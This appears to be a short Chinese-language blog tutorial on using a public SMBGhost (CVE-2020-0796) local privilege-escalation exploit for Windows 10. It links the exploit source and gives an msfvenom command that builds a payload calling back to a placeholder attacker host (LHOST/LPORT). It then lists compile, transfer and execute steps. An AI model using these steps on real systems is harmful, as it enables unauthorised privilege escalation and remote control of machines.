Windows SMBGhost CVE-2020-0796 Elevate Privileges

本文主要是介绍Windows SMBGhost CVE-2020-0796 Elevate Privileges，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

SMBGhost CVE-2020-0796

Microsoft Windows 10 (1903/1909) - ‘SMBGhost’ SMB3.1.1
‘SMB2_COMPRESSION_CAPABILITIES’ Local Privilege Escalation
https://www.exploit-db.com/exploits/48267

Github

https://github.com/danigargu/CVE-2020-0796

修改载荷[可选]
生成 c# 形式的Payload， 替换.cpp里的 uint8_t shellcode[] 变量的内容
msfvenom -p Payload LHOST=X.X.X.X LPORT=X -f dll -f csharp

编译漏洞
(Github的项目可直接由Visual Studio 2019 编译，Visual Studio 2022版本需要移植项目)

复制后的文件
$ file cve-2020-0796-local.exe
cve-2020-0796-local.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections

传输 cve-2020-0796-local.exe

执行

这篇关于Windows SMBGhost CVE-2020-0796 Elevate Privileges的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---